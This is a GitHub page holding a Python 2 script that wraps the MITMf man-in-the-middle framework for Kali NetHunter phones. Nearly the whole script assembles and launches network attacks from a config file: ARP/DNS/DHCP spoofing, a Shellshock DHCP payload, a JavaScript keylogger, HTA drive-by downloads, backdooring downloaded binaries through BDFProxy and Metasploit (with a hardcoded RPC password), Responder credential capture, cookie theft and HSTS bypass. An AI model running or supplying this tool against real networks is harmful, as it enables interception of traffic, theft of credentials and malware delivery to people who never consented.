-
Notifications
You must be signed in to change notification settings - Fork 9
/
wip_mitmf_improved.py
executable file
·314 lines (302 loc) · 11.2 KB
/
wip_mitmf_improved.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
import eznhlib, re, time, os, sys
bash_cmd = eznhlib.bash_cmd
get_gw = eznhlib.get_gw
readUserInput = eznhlib.readUserInput
menu_parser = eznhlib.menu_parser
popen_background = eznhlib.popen_background
clean_iptables = eznhlib.clean_iptables
userSelectGateway = eznhlib.userSelectGateway
config_file = "mitmf.cfg"
banner = """
______ _ _
| ____| (_) | |
| |__ __ _ ___ ___ _ __ _ __| | ___ _ __
| __/ _` |/ __/ _ \ '__| |/ _` |/ _ \ '__|
| | | (_| | (_| __/ | | | (_| | __/ |
|_| \__,_|\___\___|_| |_|\__,_|\___|_|
Chang Tan
Lister Unlimited Cybersecurity Solutions, LLC.
changtan@listerunlimited.com
Easily configurable text-based overlay for MITMf Man-in-the-Middle-Framework modules
Written due to the abandonment of the original project in 2015
And due to badly desired needs and changes to the current Kali Nethunter builds on Mobile Phones and Tablets (Oneplus One is dev's phone)
Simply edit mitmf.cfg with your favorite Android text editor and launch!
Your current settings are coming up in 3, 2, 1....
"""
print banner
time.sleep(3)
bash_cmd("cat mitmf.cfg | grep -v \# | awk 'NF'")
def readToLines(config_file):
r = popen_background("cat mitmf.cfg | grep -vi \#")
# print str(r)
l = r.splitlines()
return l
# The following four functions merely relate to Proxy ARP Mode. It has no other purpose than to serve as a hacked together remedy for clunky programming I did in the hideous parse-command line code beneath it.
def getProxyARPiface1(config_file):
lines = readToLines(config_file)
for line in lines:
if re.search("NETIFACE_ONE",line):
i = line.split(" = ")
iface1 = str(i[1])
return iface1
def getProxyARPiface2(config_file):
lines = readToLines(config_file)
for line in lines:
if re.search("NETIFACE_TWO",line):
i = line.split(" = ")
iface2 = str(i[1])
return iface2
def togglePARPDebugMode(lines, c):
for line in lines:
if re.search("PARP_DEBUG_MODE",line):
i = line.split(" = ")
if i[1] == "1":
c = c + " -d"
print str(c)
else:
pass
return c
def startProxyARP(cmd):
lines = readToLines(config_file)
c = "parprouted"
iface1 = getProxyARPiface1(config_file)
iface2 = getProxyARPiface2(config_file)
c = togglePARPDebugMode(lines, c)
for line in lines:
if re.search("PROXY_ARP_MODE", line):
s = line.split(" = ")
if s[1] == "1":
c = c + " {} {} &".format(str(iface1),str(iface2))
bash_cmd(c)
print str(c)
return cmd
# avert your eyes. It's quite horrible to look at.
def readConfig(config_file):
cmd = "mitmf"
# f = open(config_file,'r')
# r = f.read()
# l = r.splitlines()
r = popen_background("cat mitmf.cfg | grep -vi \#")
# print str(r)
l = r.splitlines()
for line in l:
# All the code does from this part, is slowly parse together the final command from the mitmf.cfg file, the way exactly that the mitmf dev wanted to do it
if re.search("INTERFACE", line):
s = line.split(" = ")
iface = s[1]
cmd = cmd + " -i {}".format(str(iface))
print cmd
if re.search("INJECT", line):
s = line.split(" = ")
if s[1] == "1":
cmd = cmd + " --inject"
if re.search("JS_URL", line):
s = line.split(" = ")
if s[1] != "":
cmd = cmd + " --js-url {}".format(str(s[1]))
if re.search("HTML_URL",line):
s = line.split(" = ")
if s[1] != "":
cmd = cmd + " --html-url {}".format(str(s[1]))
if re.search("HTA_DRIVEBY",line):
s = line.split(" = ")
if s[1] == "1":
cmd = cmd + " --hta"
if re.search("HTA_TEXT",line):
s = line.split(" = ")
if s[1] != "":
cmd = cmd + " --text {}".format(str(s[1]))
if re.search("HTA_APP",line):
s = line.split(" = ")
if s[1] != "":
cmd = cmd + " --hta-app {}".format(str(s[1]))
if re.search("SPOOF",line):
s = line.split(" = ")
if s[1] == "1":
cmd = cmd + " --spoof"
if re.search("SPOOF_TYPE",line):
s = line.split(" = ")
if s[1] != "":
if s[1] == "ARP":
cmd = cmd + " --arp"
for line in l:
if re.search("ARP_MODE",line):
s = line.split(" = ")
amode = "rep"
if s[1] == "REQUEST":
amode = "req"
cmd = cmd + " --arpmode {}".format(str(amode))
if s[1] == "REPLY":
amode = "rep"
cmd = cmd + " --arpmode {}".format(str(amode))
if s[1] == "DNS":
cmd = cmd + " --dns"
if s[1] == "DHCP":
cmd = cmd + " --dhcp"
for line in l:
if re.search("DHCP_SHELLSHOCK_PAYLOAD",line):
s = line.split(" = ")
cmd = cmd + " --shellshock {}".format(str(s[1]))
if s[1] == "ICMP":
cmd = cmd + " --icmp"
if re.search("AUTO_ACQUIRE_GATEWAY",line):
s = line.split(" = ")
if s[1] == "1":
gw = userSelectGateway()
cmd = cmd + " --gateway {}".format(str(gw))
else:
for line in l:
if re.search("SPOOF_GATEWAY",line):
s = line.split(" = ")
if s[1] != "":
cmd = cmd + " --gateway {}".format(str(s[1]))
if re.search("SPOOF_GATEWAY_MAC",line):
s = line.split(" = ")
if s[1] != "":
cmd = cmd + " --gatewaymac {}".format(str(s[1]))
if re.search("SPOOF_TARGET",line):
s = line.split(" = ")
if s[1] != "":
cmd = cmd + " --targets {}".format(str(s[1]))
if re.search("APP_POISON",line):
s = line.split(" = ")
if s[1] == "1":
cmd = cmd + " --appoison"
if re.search("UPSIDEDOWN_INTERNET",line):
s = line.split(" = ")
if s[1] == "1":
cmd = cmd + " --upsidedownternet"
if re.search("BROWSER_PROFILER",line):
s = line.split(" = ")
if s[1] == "1":
cmd = cmd + " --browserprofiler"
if re.search("FILEPWN",line):
s = line.split(" = ")
if s[1] == "1":
cmd = cmd + " --filepwn"
if re.search("SMB_AUTH",line):
s = line.split(" = ")
if s[1] == "1":
cmd = cmd + " --smbauth"
if re.search("FERRET_NG",line):
s = line.split(" = ")
if s[1] == "1":
cmd = cmd + " --ferretng"
if re.search("FERRET_NG_PORT",line):
s = line.split(" = ")
if s[1] != "":
cmd = cmd + " --port {}".format(str(s[1]))
if re.search("FERRET_NG_COOKIES",line):
s = line.split(" = ")
if s[1] != "":
cmd = cmd + " --load-cookies {}".format(str(s[1]))
if re.search("BROWSER_SNIPER",line):
s = line.split(" = ")
if s[1] == "1":
cmd = cmd + " --browsersniper"
if re.search("JS_KEYLOGGER",line):
s = line.split(" = ")
if s[1] == "1":
cmd = cmd + " --jskeylogger"
if re.search("""REPLACE""",line):
s = line.split(" = ")
if s[1] == "1":
cmd = cmd + " --replace"
if re.search("HSTS",line):
s = line.split(" = ")
if s[1] == "1":
cmd = cmd + " --hsts"
if re.search("RESPONDER_PLUGIN",line):
s = line.split(" = ")
if s[1] == "1":
cmd = cmd + " --responder"
if re.search("RESPONDER_ANALYZE",line):
s = line.split(" = ")
if s[1] == "1":
cmd = cmd + " --analyze"
if re.search("RESPONDER_WREDIR",line):
s = line.split(" = ")
if s[1] == "1":
cmd = cmd + " --wredir"
if re.search("RESPONDER_NBTNS",line):
s = line.split(" = ")
if s[1] == "1":
cmd = cmd + " --nbtns"
if re.search("RESPONDER_FINGERPRINT",line):
s = line.split(" = ")
if s[1] == "1":
cmd = cmd + " --fingerprint"
if re.search("RESPONDER_LM",line):
s = line.split(" = ")
if s[1] == "1":
cmd = cmd + " --lm"
if re.search("RESPONDER_WPAD",line):
s = line.split(" = ")
if s[1] == "1":
cmd = cmd + " --wpad"
if re.search("RESPONDER_FORCE_WPADAUTH",line):
s = line.split(" = ")
if s[1] == "1":
cmd = cmd + " --forcewpadauth"
# Checks if ProxyARP settings are enabled. If it is, the proxy ARP daemon is started
cmd = startProxyARP(cmd)
cmd = cmd + "&"
# ENable IP Forwarding to allow the nethunter device to function as a router
bash_cmd("echo '1' > /proc/sys/net/ipv4/ip_forward")
print str(cmd)
startAttack(cmd, gw, iface)
return cmd, gw, iface
def startMsfrpcd():
bash_cmd("msfrpcd -U msf -P abc123 -a 127.0.0.1 -p 55552")
return
def startBDFProxy(gw, iface):
commands = """
pkill bdfproxy
pkill mitmproxy
pkill ruby
fuser -k 8080/tcp 80/tcp 443/tcp 8443/tcp 8081/tcp 81/tcp
sleep 2
bdfproxy &
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -i {0} -p tcp --dport 80 -j REDIRECT --to-port 8080
# arpspoof -i {0} {1}
msfdb start
msfconsole -r bdfproxy_msf_resource.rc
""".format(
str(iface),
str(gw)
)
bash_cmd(commands)
return
def startAttack(cmd, gw, iface):
# Checks if either browsersniper or filepwn/bdfproxyis enabled, which requires MSFRPCD to be started
if re.search("browsersniper", cmd):
startMsfrpcd()
if re.search("filepwn", cmd):
startMsfrpcd()
bash_cmd(cmd)
startBDFProxy(gw, iface)
main()
return
def main():
print """
\r\n\t\t\t\t MAIN MENU
\r\n\t1:\tStart Attack with the configuration settings settings settings set
\r\n\t2:\tStop the Attack
"""
userInput = int(raw_input("Enter a option: "))
if userInput == 1:
readConfig(config_file)
elif userInput == 2:
# kills all responder services and parprouted IF RUNNing.
cmd = "fuser -k 55552/tcp 55553/tcp 587/tcp 110/tcp 9999/tcp 143/tcp 80/tcp 10000/tcp 21/tcp 88/tcp 25/tcp 1433/tcp 445/tcp 3141/tcp 389/tcp;pkill parprouted"
bash_cmd(cmd)
clean_iptables()
os.system('clear')
print "Attack Stopped"
main()
else:
print "You have entered a invalid option"
main()
return
main()